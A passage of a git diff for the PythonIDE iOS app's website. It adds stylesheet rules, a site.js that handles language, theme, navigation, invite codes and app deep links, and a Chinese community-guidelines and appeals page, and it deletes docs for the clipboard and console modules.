clamp(30px, 8.7vw, 34px); line-height: 1.12; } + .section-title { font-size: clamp(28px, 8.5vw, 38px); line-height: 1.18; letter-spacing: -.035em; } + .lede { font-size: 17px; } + .feature-grid, .support-grid, .link-grid { grid-template-columns: 1fr; } + .quick-start-grid { grid-template-columns: 1fr; } + .skill-card { grid-column: auto; } + .link-card.wide { grid-column: auto; } + .stats { grid-template-columns: repeat(2, 1fr); } + .stat:nth-child(2) { border-right: 0; } + .stat:nth-child(-n+2) { border-bottom: 1px solid var(--line); } + .document-layout { grid-template-columns: 1fr; gap: 24px; padding-bottom: 70px; } + .toc { position: static; display: flex; gap: 6px; overflow-x: auto; padding: 0 0 10px; scrollbar-width: none; } + .toc::-webkit-scrollbar { display: none; } + .toc-title { display: none; } + .toc a { flex: 0 0 auto; padding: 8px 12px; border: 1px solid var(--line); border-radius: 999px; background: var(--surface); } + .info-row { grid-template-columns: 1fr; gap: 7px; } + .footer-grid { grid-template-columns: 1fr 1fr; } + .footer-brand { grid-column: 1 / -1; } + .footer-col:last-of-type { grid-column: auto; } + .invite-actions, .modal-actions { grid-template-columns: 1fr; } + .invite-code { font-size: clamp(42px, 15vw, 64px); } + .invite-page .site-footer { display: none; } + .invite-page .main { display: block; } + .invite-page .hero { padding-block: 16px 24px; } + .invite-page .invite-primary { padding: 20px 22px; } + .invite-page .invite-secondary { display: block; padding: 18px 22px; } + .invite-page .invite-card { border-radius: 24px; box-shadow: none; } + .invite-page .invite-code { margin-block: 16px 10px; font-size: clamp(44px, 14vw, 56px); } + .invite-page .invite-summary { font-size: 15px; line-height: 1.48; } + .invite-page .invite-actions { grid-template-columns: 1fr 1fr; } + .invite-page .invite-actions { margin-top: 18px; } + .invite-page .button { min-height: 44px; padding-inline: 12px; gap: 5px; font-size: 13px; } + .invite-page .button svg { width: 15px; height: 15px; } + .invite-page .invite-text-links { margin-top: 12px; gap: 6px 13px; font-size: 12px; } + .invite-page .mini-title { margin-bottom: 12px; font-size: 18px; } + .invite-page .compact-list { gap: 8px; } + .invite-page .compact-item { grid-template-columns: 24px 1fr; gap: 10px; } + .invite-page .compact-item .dot { width: 22px; height: 22px; } + .invite-page .compact-item strong { font-size: 13px; } + .invite-page .compact-item span { margin-top: 1px; font-size: 12px; line-height: 1.35; } + .invite-page .notice { margin-top: 14px; padding: 12px 14px; } + .invite-page .notice strong { font-size: 13px; } + .invite-page .notice p { font-size: 12px; line-height: 1.45; } +} + +@media (max-width: 520px) { + .nav-actions { gap: 4px; } + .button-row { display: grid; grid-template-columns: 1fr; } + .button-row .button { width: 100%; } + .feature-grid, .support-grid { grid-template-columns: 1fr; } + .footer-grid { grid-template-columns: 1fr; } + .footer-col:last-of-type { grid-column: auto; } + .footer-bottom { flex-direction: column; } + .link-card { min-height: 160px; padding: 22px; } + .quick-start-grid { grid-template-columns: 1fr; } + .skill-card { grid-column: auto; } + .quick-start-card { min-height: 290px; padding: 22px; } + .invite-page .invite-actions { grid-template-columns: 1fr 1fr; } +} + +@media (prefers-reduced-motion: reduce) { + html { scroll-behavior: auto; } + *, *::before, *::after { animation-duration: .01ms !important; animation-iteration-count: 1 !important; transition-duration: .01ms !important; } +} + +@media print { + :root { --bg: #fff; --surface: #fff; --surface-soft: #fff; --ink: #000; --text: #111; --muted: #444; --line: #ccc; } + .site-header, .site-footer, .toc, .button-row, .modal-backdrop, .toast { display: none !important; } + .shell { width: 100%; } + .hero.compact { padding: 24px 0 36px; } + .document-layout { display: block; padding: 0; } + .article { max-width: none; } + .article-section { break-inside: avoid; } + a { text-decoration: none !important; } +} diff --git a/docs/assets/site.js b/docs/assets/site.js new file mode 100644 index 0000000..ae8f7f5 --- /dev/null +++ b/docs/assets/site.js @@ -0,0 +1,445 @@ +(function () { + "use strict"; + + var APP_STORE_URL = "https://apps.apple.com/app/id6753987304"; + var APP_REFERRAL_URL = "pythonide://referral"; + var root = document.documentElement; + + function safeStorageGet(key) { + try { return localStorage.getItem(key); } catch (_) { return null; } + } + + function safeStorageSet(key, value) { + try { localStorage.setItem(key, value); } catch (_) {} + } + + function requestedLanguage() { + var query = new URLSearchParams(location.search).get("lang"); + if (query === "en" || query === "zh") return query; + var saved = safeStorageGet("pythonide_site_lang"); + if (saved === "en" || saved === "zh") return saved; + return /^en\b/i.test(navigator.language || "") ? "en" : "zh"; + } + + function originalText(node) { + if (node._pythonideZhHTML === undefined && node.querySelector && node.querySelector("br, .title-line")) { + node._pythonideZhHTML = node.innerHTML; + } + if (!node.dataset.zh) node.dataset.zh = node.textContent.trim(); + return node.dataset.zh; + } + + function setMeta(selector, lang) { + var node = document.querySelector(selector); + if (!node) return; + var value = lang === "en" ? node.dataset.en : node.dataset.zh; + if (!value) return; + if (node.tagName === "TITLE") node.textContent = value; + else node.setAttribute("content", value); + } + + function setLanguage(lang, updateURL) { + lang = lang === "en" ? "en" : "zh"; + root.lang = lang === "en" ? "en" : "zh-CN"; + root.dataset.lang = lang; + safeStorageSet("pythonide_site_lang", lang); + + document.querySelectorAll("[data-en]").forEach(function (node) { + if (node.matches("meta, title")) return; + var zh = originalText(node); + if (lang === "en") node.textContent = node.dataset.en; + else if (node._pythonideZhHTML !== undefined) node.innerHTML = node._pythonideZhHTML; + else node.textContent = zh; + }); + document.querySelectorAll("[data-lang]").forEach(function (button) { + button.setAttribute("aria-pressed", button.dataset.lang === lang ? "true" : "false"); + }); + document.querySelectorAll("[data-label-en]").forEach(function (node) { + if (!node.dataset.labelZh) node.dataset.labelZh = node.getAttribute("aria-label") || ""; + node.setAttribute("aria-label", lang === "en" ? node.dataset.labelEn : node.dataset.labelZh); + }); + document.querySelectorAll("[data-alt-en]").forEach(function (node) { + if (!node.dataset.altZh) node.dataset.altZh = node.getAttribute("alt") || ""; + node.setAttribute("alt", lang === "en" ? node.dataset.altEn : node.dataset.altZh); + }); + + setMeta("title[data-zh]", lang); + setMeta('meta[name="description"][data-zh]', lang); + setMeta('meta[property="og:title"][data-zh]', lang); + setMeta('meta[property="og:description"][data-zh]', lang); + setMeta('meta[name="twitter:title"][data-zh]', lang); + setMeta('meta[name="twitter:description"][data-zh]', lang); + + if (updateURL) { + var url = new URL(location.href); + if (lang === "en") url.searchParams.set("lang", "en"); + else url.searchParams.delete("lang"); + history.replaceState({}, "", url.pathname + url.search + url.hash); + updateCanonical(url); + } + document.dispatchEvent(new CustomEvent("pythonide:language", { detail: { lang: lang } })); + } + + var languageChangeToken = 0; + + function visibleLanguageTargets() { + var nodes = Array.prototype.slice.call(document.querySelectorAll(".site-header [data-en], main [data-en], .site-footer [data-en], [data-app-modal]:not([hidden]) [data-en]")); + return nodes.filter(function (node) { + if (node.matches("meta, title, .language-toggle, .language-toggle *")) return false; + if (nodes.some(function (parent) { return parent !== node && parent.contains(node); })) return false; + var rect = node.getBoundingClientRect(); + return rect.width > 0 && rect.height > 0 && rect.bottom > -40 && rect.top < innerHeight + 40; + }); + } + + function transitionLanguage(lang) { + lang = lang === "en" ? "en" : "zh"; + if (root.dataset.lang === lang) return; + if (matchMedia("(prefers-reduced-motion: reduce)").matches || !Element.prototype.animate) { + setLanguage(lang, true); + return; + } + + var token = ++languageChangeToken; + var targets = visibleLanguageTargets(); + root.classList.add("is-language-switching"); + root.dataset.lang = lang; + document.querySelectorAll("[data-lang]").forEach(function (button) { + button.setAttribute("aria-pressed", button.dataset.lang === lang ? "true" : "false"); + }); + + var leaving = targets.map(function (node, index) { + return node.animate([ + { opacity: 1, transform: "translateY(0)", filter: "blur(0)" }, + { opacity: 0, transform: "translateY(-4px)", filter: "blur(1.5px)" } + ], { duration: 105 + Math.min(index, 5) * 8, easing: "cubic-bezier(.4,0,1,1)", fill: "forwards" }); + }); + + Promise.all(leaving.map(function (animation) { return animation.finished.catch(function () {}); })).then(function () { + if (token !== languageChangeToken) return; + setLanguage(lang, true); + leaving.forEach(function (animation) { animation.cancel(); }); + targets.forEach(function (node, index) { + node.animate([ + { opacity: 0, transform: "translateY(5px)", filter: "blur(1.5px)" }, + { opacity: 1, transform: "translateY(0)", filter: "blur(0)" } + ], { duration: 220 + Math.min(index, 6) * 10, delay: Math.min(index, 6) * 8, easing: "cubic-bezier(.22,1,.36,1)" }); + }); + setTimeout(function () { + if (token === languageChangeToken) root.classList.remove("is-language-switching"); + }, 330); + }); + } + + function resolvedTheme() { + var saved = safeStorageGet("pythonide_site_theme"); + if (saved === "light" || saved === "dark") return saved; + return matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light"; + } + + function applyTheme(theme, persist) { + theme = theme === "dark" ? "dark" : "light"; + root.dataset.theme = theme; + if (persist) safeStorageSet("pythonide_site_theme", theme); + var meta = document.querySelector('meta[name="theme-color"]'); + if (meta) meta.content = theme === "dark" ? "#171717" : "#ffffff"; + document.querySelectorAll("[data-theme-toggle]").forEach(function (button) { + var label = theme === "dark" ? "切换到浅色 / Switch to light" : "切换到深色 / Switch to dark"; + button.setAttribute("aria-label", label); + button.setAttribute("title", label); + button.setAttribute("aria-pressed", theme === "dark" ? "true" : "false"); + }); + } + + function setupThemeControls() { + document.querySelectorAll("[data-theme-toggle]").forEach(function (button) { + button.innerHTML = ''; + }); + var themeQuery = matchMedia("(prefers-color-scheme: dark)"); + if (themeQuery.addEventListener) { + themeQuery.addEventListener("change", function (event) { + if (!safeStorageGet("pythonide_site_theme")) applyTheme(event.matches ? "dark" : "light", false); + }); + } + } + + function setupLanguageControls() { + document.querySelectorAll(".language-toggle").forEach(function (group) { + group.setAttribute("role", "group"); + if (!group.getAttribute("aria-label")) group.setAttribute("aria-label", "语言 / Language"); + }); + } + + function setupMenuControls() { + document.querySelectorAll("[data-menu-toggle]").forEach(function (button) { + button.innerHTML = ''; + }); + } + + function updateCanonical(url) { + var canonical = document.querySelector('link[rel="canonical"]'); + var ogURL = document.querySelector('meta[property="og:url"]'); + if (!canonical) return; + var normalized = new URL(canonical.href); + if (url.searchParams.get("lang") === "en") normalized.searchParams.set("lang", "en"); + else normalized.searchParams.delete("lang"); + canonical.href = normalized.href; + if (ogURL) ogURL.content = normalized.href; + } + + function setupNavigation() { + var menu = document.querySelector("[data-nav-links]"); + var toggle = document.querySelector("[data-menu-toggle]"); + if (!menu || !toggle) return; + var backdrop = document.querySelector("[data-nav-backdrop]"); + if (!backdrop) { + backdrop = document.createElement("button"); + backdrop.type = "button"; + backdrop.className = "nav-backdrop"; + backdrop.dataset.navBackdrop = ""; + backdrop.tabIndex = -1; + backdrop.setAttribute("aria-hidden", "true"); + document.body.appendChild(backdrop); + } + function updateToggleLabel(open) { + var english = root.dataset.lang === "en"; + var label = open ? (english ? "Close navigation menu" : "关闭导航菜单") : (english ? "Open navigation menu" : "打开导航菜单"); + toggle.setAttribute("aria-label", label); + toggle.setAttribute("title", label); + } + function close(restoreFocus) { + menu.dataset.open = "false"; + toggle.setAttribute("aria-expanded", "false"); + document.body.classList.remove("nav-is-open"); + updateToggleLabel(false); + if (restoreFocus) toggle.focus(); + } + toggle.addEventListener("click", function () { + var open = menu.dataset.open !== "true"; + menu.dataset.open = open ? "true" : "false"; + toggle.setAttribute("aria-expanded", open ? "true" : "false"); + document.body.classList.toggle("nav-is-open", open); + updateToggleLabel(open); + }); + backdrop.addEventListener("click", function () { close(true); }); + menu.querySelectorAll("a").forEach(function (link) { link.addEventListener("click", function () { close(false); }); }); + document.addEventListener("click", function (event) { + if (menu.dataset.open === "true" && !menu.contains(event.target) && !toggle.contains(event.target) && event.target !== backdrop) close(false); + }); + document.addEventListener("keydown", function (event) { + if (event.key === "Escape" && menu.dataset.open === "true") { + close(true); + } + }); + document.addEventListener("pythonide:language", function () { updateToggleLabel(menu.dataset.open === "true"); }); + addEventListener("resize", function () { if (innerWidth > 780) close(false); }, { passive: true }); + updateToggleLabel(false); + } + + function setupGlobalNavigationExtras() { + document.querySelectorAll("[data-nav-links]").forEach(function (menu) { + if (menu.querySelector('.nav-external[href*="github.com/Python-IDE/PythonIDE-iOS"]')) return; + var download = menu.querySelector(".nav-download"); + if (!download) return; + var github = document.createElement("a"); + github.className = "nav-link nav-external"; + github.href = "https://github.com/Python-IDE/PythonIDE-iOS"; + github.target = "_blank"; + github.rel = "noreferrer"; + github.textContent = "GitHub"; + menu.insertBefore(github, download); + }); + } + + function setupNavigationIndicator() { + document.querySelectorAll("[data-nav-links]").forEach(function (menu) { + var active = menu.querySelector('.nav-link[aria-current="page"]'); + if (!active) return; + var pill = document.createElement("span"); + pill.className = "nav-active-pill"; + pill.setAttribute("aria-hidden", "true"); + menu.insertBefore(pill, menu.firstChild); + menu.classList.add("has-active-pill"); + + function moveTo(link) { + if (!link || innerWidth <= 780) return; + pill.style.setProperty("--pill-x", link.offsetLeft + "px"); + pill.style.setProperty("--pill-width", link.offsetWidth + "px"); + } + moveTo(active); + menu.querySelectorAll(".nav-link").forEach(function (link) { + link.addEventListener("mouseenter", function () { moveTo(link); }); + link.addEventListener("focus", function () { moveTo(link); }); + }); + menu.addEventListener("mouseleave", function () { moveTo(active); }); + menu.addEventListener("focusout", function (event) { if (!menu.contains(event.relatedTarget)) moveTo(active); }); + document.addEventListener("pythonide:language", function () { requestAnimationFrame(function () { moveTo(active); }); }); + addEventListener("resize", function () { moveTo(active); }, { passive: true }); + }); + } + + function setupHeaderFeedback() { + var header = document.querySelector(".site-header"); + if (!header) return; + var sync = function () { header.classList.toggle("is-scrolled", scrollY > 8); }; + sync(); + addEventListener("scroll", sync, { passive: true }); + } + + function copyText(value) { + if (navigator.clipboard && window.isSecureContext) return navigator.clipboard.writeText(value); + return new Promise(function (resolve, reject) { + var area = document.createElement("textarea"); + area.value = value; + area.setAttribute("readonly", ""); + area.style.position = "fixed"; + area.style.left = "-9999px"; + document.body.appendChild(area); + area.select(); + try { document.execCommand("copy") ? resolve() : reject(new Error("copy")); } + catch (error) { reject(error); } + area.remove(); + }); + } + + function toast(zh, en) { + var node = document.querySelector("[data-toast]"); + if (!node) { + node = document.createElement("div"); + node.className = "toast"; + node.dataset.toast = ""; + document.body.appendChild(node); + } + node.textContent = root.dataset.lang === "en" ? (en || zh) : zh; + node.classList.add("show"); + clearTimeout(toast.timer); + toast.timer = setTimeout(function () { node.classList.remove("show"); }, 1800); + } + + function setupCopy() { + document.querySelectorAll("[data-copy]").forEach(function (button) { + button.addEventListener("click", function () { + var value = button.dataset.copy || location.href; + copyText(value).then(function () { + toast(button.dataset.successZh || "已复制", button.dataset.successEn || "Copied"); + }).catch(function () { + toast("复制失败,请手动复制", "Copy failed. Please copy manually."); + }); + }); + }); + } + + function inviteCode() { + var url = new URL(location.href); + var raw = url.searchParams.get("code") || ""; + var match = location.pathname.match(/^\/i\/([A-Za-z0-9-]+)/); + if (!raw && match) raw = match[1]; + var normalized = raw.replace(/[\s-]+/g, "").toUpperCase(); + return /^[A-Z0-9]{4,12}$/.test(normalized) ? normalized : ""; + } + + function setupInvite() { + var codeNode = document.querySelector("[data-invite-code]"); + if (!codeNode) return; + var code = inviteCode(); + var copyButton = document.querySelector("[data-copy-invite]"); + var title = document.querySelector("[data-invite-title]"); + var summary = document.querySelector("[data-invite-summary]"); + if (code) { + codeNode.textContent = code; + codeNode.classList.remove("is-empty"); + if (copyButton) { copyButton.hidden = false; copyButton.dataset.copy = code; } + if (title) { title.dataset.zh = "好友邀请你使用 PythonIDE"; title.dataset.en = "A friend invited you to PythonIDE"; } + if (summary) { summary.dataset.zh = "下载 App 后输入邀请码,即可建立邀请关系。"; summary.dataset.en = "Download the app and enter this code to connect the referral."; } + var localizedTitleNodes = document.querySelectorAll('title, meta[property="og:title"], meta[name="twitter:title"]'); + localizedTitleNodes.forEach(function (node) { + node.dataset.zh = "使用邀请码 " + code + " 加入 PythonIDE"; + node.dataset.en = "Join PythonIDE with invite code " + code; + }); + var canonical = document.querySelector('link[rel="canonical"]'); + if (canonical) { + var canonicalURL = new URL("https://pythonide.xin/i/"); + canonicalURL.searchParams.set("code", code); + if (root.dataset.lang === "en") canonicalURL.searchParams.set("lang", "en"); + canonical.href = canonicalURL.href; + var ogURL = document.querySelector('meta[property="og:url"]'); + if (ogURL) ogURL.content = canonicalURL.href; + } + } else { + codeNode.textContent = root.dataset.lang === "en" ? "Get your code" : "获取邀请码"; + codeNode.classList.add("is-empty"); + if (copyButton) copyButton.hidden = true; + } + setLanguage(root.dataset.lang || requestedLanguage(), false); + } + + function openInApp() { + var modal = document.querySelector("[data-app-modal]"); + if (modal) modal._pythonideReturnFocus = document.activeElement; + var hidden = false; + var onVisibility = function () { if (document.hidden) hidden = true; }; + document.addEventListener("visibilitychange", onVisibility, { once: true }); + location.href = APP_REFERRAL_URL; + setTimeout(function () { + document.removeEventListener("visibilitychange", onVisibility); + if (!hidden && modal) { + modal.hidden = false; + document.body.style.overflow = "hidden"; + var first = modal.querySelector("button, a"); + if (first) first.focus(); + } + }, 1050); + } + + function setupAppOpen() { + document.querySelectorAll("[data-open-app]").forEach(function (button) { button.addEventListener("click", openInApp); }); + var modal = document.querySelector("[data-app-modal]"); + if (!modal) return; + function close() { + modal.hidden = true; + document.body.style.overflow = ""; + if (modal._pythonideReturnFocus && modal._pythonideReturnFocus.focus) modal._pythonideReturnFocus.focus(); + } + modal.querySelectorAll("[data-modal-close]").forEach(function (button) { button.addEventListener("click", close); }); + modal.addEventListener("click", function (event) { if (event.target === modal) close(); }); + document.addEventListener("keydown", function (event) { + if (modal.hidden) return; + if (event.key === "Escape") { close(); return; } + if (event.key !== "Tab") return; + var focusable = Array.prototype.slice.call(modal.querySelectorAll('button:not([disabled]), a[href], [tabindex]:not([tabindex="-1"])')); + if (!focusable.length) return; + var first = focusable[0]; + var last = focusable[focusable.length - 1]; + if (event.shiftKey && document.activeElement === first) { event.preventDefault(); last.focus(); } + else if (!event.shiftKey && document.activeElement === last) { event.preventDefault(); first.focus(); } + }); + } + + function init() { + root.classList.add("motion-ready"); + setupThemeControls(); + setupLanguageControls(); + setupMenuControls(); + applyTheme(resolvedTheme(), false); + setLanguage(requestedLanguage(), false); + updateCanonical(new URL(location.href)); + setupGlobalNavigationExtras(); + setupNavigationIndicator(); + setupNavigation(); + setupHeaderFeedback(); + setupCopy(); + setupInvite(); + setupAppOpen(); + + document.querySelectorAll("[data-download]").forEach(function (link) { link.href = APP_STORE_URL; }); + document.querySelectorAll("[data-lang]").forEach(function (button) { + button.addEventListener("click", function () { transitionLanguage(button.dataset.lang); }); + }); + document.querySelectorAll("[data-theme-toggle]").forEach(function (button) { + button.addEventListener("click", function () { applyTheme(root.dataset.theme === "dark" ? "light" : "dark", true); }); + }); + } + + if (document.readyState === "loading") document.addEventListener("DOMContentLoaded", init); + else init(); +}()); diff --git a/docs/assets/website-deploy-screen.png b/docs/assets/website-deploy-screen.png new file mode 100644 index 0000000..cb1cdf6 Binary files /dev/null and b/docs/assets/website-deploy-screen.png differ diff --git a/docs/clipboard-module.md b/docs/clipboard-module.md deleted file mode 100644 index 11ed970..0000000 --- a/docs/clipboard-module.md +++ /dev/null @@ -1,56 +0,0 @@ -# clipboard 模块 — 系统剪贴板 - -Pythonista 兼容的剪贴板模块,直接通过 ObjC 运行时访问 iOS 系统剪贴板(UIPasteboard)。 - -## 完整 API - -### get() → str -获取剪贴板中的文字内容。没有内容时返回空字符串。 - -```python -import clipboard -text = clipboard.get() -print(f'剪贴板内容:{text}') -``` - -### set(text: str) → None -将字符串写入剪贴板。 - -```python -clipboard.set('Hello, World!') -``` - -### clear() → None -清空剪贴板(等同于 `set('')`)。 - -```python -clipboard.clear() -``` - -### 兼容别名 -- `get_text()` — 等同于 `get()` -- `set_text(text)` — 等同于 `set(text)` - -## 完整示例 -```python -import clipboard - -# 读取剪贴板 -old = clipboard.get() -print(f'之前的内容:{old}') - -# 写入新内容 -clipboard.set('Python IDE 是最好的 iOS 编程 App!') - -# 验证 -print(f'现在的内容:{clipboard.get()}') - -# 清空 -clipboard.clear() -print(f'清空后:"{clipboard.get()}"') -``` - -## 注意事项 -- 仅支持文本内容的读写 -- 底层通过 ctypes 直接调用 UIPasteboard,无需额外依赖 -- `get()` 返回空字符串而非 None(即使剪贴板为空) diff --git a/docs/community-guidelines/index.html b/docs/community-guidelines/index.html new file mode 100644 index 0000000..566a40a --- /dev/null +++ b/docs/community-guidelines/index.html @@ -0,0 +1,22 @@ + + + + + + 社区规范与违规申诉 — PythonIDE +
+ +

社区

分享值得信任的作品。

PythonIDE 会在社区作品发布前进行审核。本规范说明什么适合分享、什么不允许,以及如何举报或申诉。

生效及最近更新:2026 年 7 月 16 日

+
+

1. 社区基本原则

有用清楚说明作品做什么、需要什么,以及他人如何安全使用。
安全不得包含隐藏行为、不必要权限、默认破坏性操作或用于攻击他人的代码。
原创或已获授权仅发布你有权分享的代码、媒体、名称与依赖,并按要求标注来源和许可证。
尊重他人不得骚扰、仇恨、剥削、欺骗、侵犯隐私或操纵社区系统。
+

2. 禁止发布的内容

  • 恶意软件、凭证窃取、勒索软件、间谍软件、破坏性载荷、未经授权的远程控制、规避工具,或主要用于入侵真实个人、设备、账户、服务或网络的代码。
  • 用于欺诈、钓鱼、垃圾信息、冒充、未经授权抓取、平台滥用、支付滥用、操纵邀请,或绕过安全与访问控制的说明或工具。
  • 性剥削(尤其涉及未成年人)、可信威胁、鼓励自伤、恐怖主义、极端暴力、人口贩运,或主要用于促成严重伤害的指令。
  • 仇恨、歧视、诽谤、骚扰、霸凌或侵犯隐私的内容,包括泄露的个人数据、私密凭证或未经同意的录音录像。
  • 盗版软件或媒体、规避许可证、抄袭、未经授权冒充品牌,或侵犯他人著作权、商标、专利、商业秘密或形象权的内容。
  • 误导性预览、虚假功能、混淆危险行为、无关关键词堆砌、重复垃圾投稿,或刻意隐藏代码真实用途。
  • 违反适用法律、Apple 平台规则、本规范、用户协议或第三方服务明确限制的内容。
+

3. 代码安全要求

有用的脚本可能合理使用文件、网络、传感器或系统集成,但投稿必须让这些影响清楚可理解,并与声明用途相称。

  • 在描述中披露网络目标、数据上传、外部 App 跳转、破坏性文件操作、后台行为、付费 API 与所需权限。
  • 不得嵌入 API 密钥、密码、令牌、私有证书、私人通讯录、私密 URL 或真实用户数据。
  • 只请求必要权限与数据;敏感操作可以由明确用户动作触发时,不得在启动后自动执行。
  • 提供安全默认值,对不可逆操作给出可见确认,限制循环与资源使用,并提供合理失败路径。
  • 源码应具备可审核性。即使声称用途无害,混淆、远程加载代码、加密载荷或无法解释的二进制数据也可能被拒绝。
发布不等于安全认证

审核可以降低明显风险,但不能保证代码无错误或适用于所有环境。用户运行前仍应检查源码、权限、网络行为与依赖。

+

4. 权利、署名与质量

  • 你必须拥有投稿或获得分发其中全部元素的授权,并保留开源或媒体许可证要求的声明与署名。
  • 当需要实质性署名、许可证审查或披露时,不得把 AI 生成或改编作品表述为完全原创。
  • 标题、描述、封面、预览与分类必须准确反映作品,不得冒充 PythonIDE、Apple、其他开发者或官方服务。
  • 投稿应在声明环境中可运行,说明依赖,避免无意义重复,并具备足以支持发布的实用或学习价值。
+

5. 投稿与审核流程

1
提交你从 App 提交源码与必要信息,作品进入待审核状态,尚未公开。
2
人工审核审核人员检查安全、权利、清晰度、质量与合规性;自动检查或试运行可辅助判断,但不替代人工判断。
3
通过、拒绝或要求修正通过后作品公开;拒绝时会记录状态,并可能附带原因,便于你修正或申诉。
4
持续管理如发现新风险、权利投诉、举报、行为变化或违规,已发布作品仍可能被复核和下架。

审核时间会因数量、复杂度与风险而不同。提交不保证一定发布、获得排名或流量,也不保证永久可用。

+

6. 举报有害或侵权内容

在专用 App 内举报入口覆盖所有受支持版本前,邮件是正式举报渠道。请提供社区作品链接或 ID、可见时的作者名称、举报原因、支持材料及联系你的方式。不要发送秘密信息或无关个人数据。

涉及即时安全、未成年人、恶意软件、凭证泄露、隐私或正在发生的侵权时,我们会优先处理可信举报。我们可能保留证据、临时隐藏内容、请求补充信息、通知作者,或在合法且必要时转交适当服务商或主管机关。

+

7. 申诉审核或处理决定

如你的投稿被拒绝、下架或社区访问受限,可以申请人工复核。请提供:

  • 你的 PythonIDE 用户名或账户标识及回复邮箱。
  • 投稿 ID、公开链接或处理编号,以及 App 显示的日期与决定。
  • 简要说明为何认为决定有误,或你为解决问题做了哪些修改。
  • 评估申诉所需的许可证、授权、技术说明或证据。

复核会由人员结合完整记录进行,不会在存在自动信号时只依赖原自动信号。我们可能维持、调整或撤销原决定。没有新信息的重复申诉可能被关闭;涉及紧急安全的限制可在复核期间继续有效。

+

8. 处理措施与透明度

根据严重程度、背景、历史与风险,处理措施可包括警告、要求修改、拒绝投稿、临时隐藏、下架、取消发布权限、限流、限制或暂停账户、保留证据,或转交服务商与主管机关。严重伤害、恶意软件、儿童安全、可信威胁或故意规避可在不事先警告的情况下立即处理。

处理原因与管理员操作等审核记录可能为审计、安全、一致性、申诉与争议处理而保留。公开内容下架后会保持不可用,但有限记录可能继续保存。

本规范会随社区、法律、平台要求与风险变化而更新,重大更新会修改页面日期。如中英文版本存在差异,在法律允许范围内以中文版本为准。

+
+
+ +
diff --git a/docs/console-module.md b/docs/console-module.md deleted file mode 100644 index 1539ad9..0000000 --- a/docs/console-module.md +++ /dev/null @@ -1,328 +0,0 @@ -# console 模块 — 完整 API 参考 - -> Pythonista 兼容控制台交互模块。 -> 提供原生 UIAlertController 弹窗、HUD 提示、控制台文本样式和清屏功能。 -> 所有弹窗阻塞调用线程直到用户响应,匹配 Pythonista 的同步 API 行为。 - ---- - -## 目录 - -- [快速开始](#快速开始) -- [弹窗函数](#弹窗函数) - - [alert()](#alert) - - [input_alert()](#input_alert) - - [login_alert()](#login_alert) - - [password_alert()](#password_alert) - - [hud_alert()](#hud_alert) -- [控制台格式](#控制台格式) - - [set_color()](#set_color) - - [set_font()](#set_font) - - [clear()](#clear) - - [write_link()](#write_link) -- [与其他模块组合使用](#与其他模块组合使用) -- [完整示例](#完整示例) - ---- - -## 快速开始 - -```python -import console - -# 弹出原生确认框 -choice = console.alert('确认', '是否继续?', '继续', '取消') - -# 输入文本 -name = console.input_alert('姓名', '请输入你的名字') - -# HUD 提示 -console.hud_alert('操作成功 ✓') - -# 彩色输出 -console.set_color(1.0, 0.0, 0.0) # 红色 -print('这是红色文字') -console.set_color() # 重置 -``` - ---- - -## 弹窗函数 - -所有弹窗使用原生 `UIAlertController` 实现,阻塞当前线程直到用户响应。 -用户点击 Cancel 时抛出 `KeyboardInterrupt`。 - -### alert() - -```python -console.alert(title, message='', button1='OK', button2='', button3='', - hide_cancel_button=False) -``` - -显示模态弹窗,最多 3 个自定义按钮 + Cancel。 - -| 参数 | 类型 | 默认 | 说明 | -|------|------|------|------| -| `title` | str | 必填 | 弹窗标题 | -| `message` | str | `''` | 弹窗消息体 | -| `button1` | str | `'OK'` | 第 1 个按钮标题 | -| `button2` | str | `''` | 第 2 个按钮标题(空则不显示) | -| `button3` | str | `''` | 第 3 个按钮标题(空则不显示) | -| `hide_cancel_button` | bool | `False` | 是否隐藏 Cancel 按钮 | - -**返回值**:按钮索引(1-based)。Cancel 抛出 `KeyboardInterrupt`。 - -```python -try: - idx = console.alert('删除文件?', '此操作不可恢复', '删除', '保留') - if idx == 1: - print('用户选择删除') - elif idx == 2: - print('用户选择保留') -except KeyboardInterrupt: - print('用户取消') -``` - -### input_alert() - -```python -console.input_alert(title, message='', input_text='', - ok_button_title='OK', hide_cancel_button=False) -``` - -带文本输入框的弹窗。 - -| 参数 | 类型 | 默认 | 说明 | -|------|------|------|------| -| `title` | str | 必填 | 标题 | -| `message` | str | `''` | 消息 | -| `input_text` | str | `''` | 输入框默认文本 | -| `ok_button_title` | str | `'OK'` | 确认按钮标题 | -| `hide_cancel_button` | bool | `False` | 是否隐藏 Cancel | - -**返回值**:用户输入的文本(str)。Cancel 抛出 `KeyboardInterrupt`。 - -```python -try: - name = console.input_alert('姓名', '请输入你的名字', '张三') - print(f'你好, {name}!') -except KeyboardInterrupt: - print('已取消') -``` - -### login_alert() - -```python -console.login_alert(title, message='', login='', password='', - ok_button_title='OK') -``` - -登录弹窗,含用户名和密码两个输入框(密码框为安全文本)。 - -| 参数 | 类型 | 默认 | 说明 | -|------|------|------|------| -| `title` | str | 必填 | 标题 | -| `message` | str | `''` | 消息 | -| `login` | str | `''` | 用户名默认值 | -| `password` | str | `''` | 密码默认值 | -| `ok_button_title` | str | `'OK'` | 确认按钮标题 | - -**返回值**:`(username, password)` 元组。Cancel 抛出 `KeyboardInterrupt`。 - -```python -try: - user, pw = console.login_alert('登录', '请输入服务器凭据') - print(f'用户: {user}') -except KeyboardInterrupt: - print('已取消登录') -``` - -### password_alert() - -```python -console.password_alert(title, message='', password='', - ok_button_title='OK') -``` - -密码输入弹窗(安全文本框,内容不可见)。 - -| 参数 | 类型 | 默认 | 说明 | -|------|------|------|------| -| `title` | str | 必填 | 标题 | -| `message` | str | `''` | 消息 | -| `password` | str | `''` | 默认密码 | -| `ok_button_title` | str | `'OK'` | 确认按钮标题 | - -**返回值**:用户输入的密码(str)。Cancel 抛出 `KeyboardInterrupt`。 - -```python -try: - pw = console.password_alert('授权', '请输入管理员密码') -except KeyboardInterrupt: - print('已取消') -``` - -### hud_alert() - -```python -console.hud_alert(message, icon='', duration=1.5) -``` - -显示一个短暂的 HUD 覆盖提示,自动消失。不阻塞。 - -| 参数 | 类型 | 默认 | 说明 | -|------|------|------|------| -| `message` | str | 必填 | 提示文本 | -| `icon` | str | `''` | 可选 emoji 或图标 | -| `duration` | float | `1.5` | 显示时长(秒) | - -```python -console.hud_alert('已保存 ✓', duration=2.0) -console.hud_alert('下载完成', icon='📦') -``` - ---- - -## 控制台格式 - -### set_color() - -```python -console.set_color(r, g, b) # 设置颜色 -console.set_color() # 重置为默认颜色 -``` - -设置后续 `print()` 输出的文本颜色。 - -| 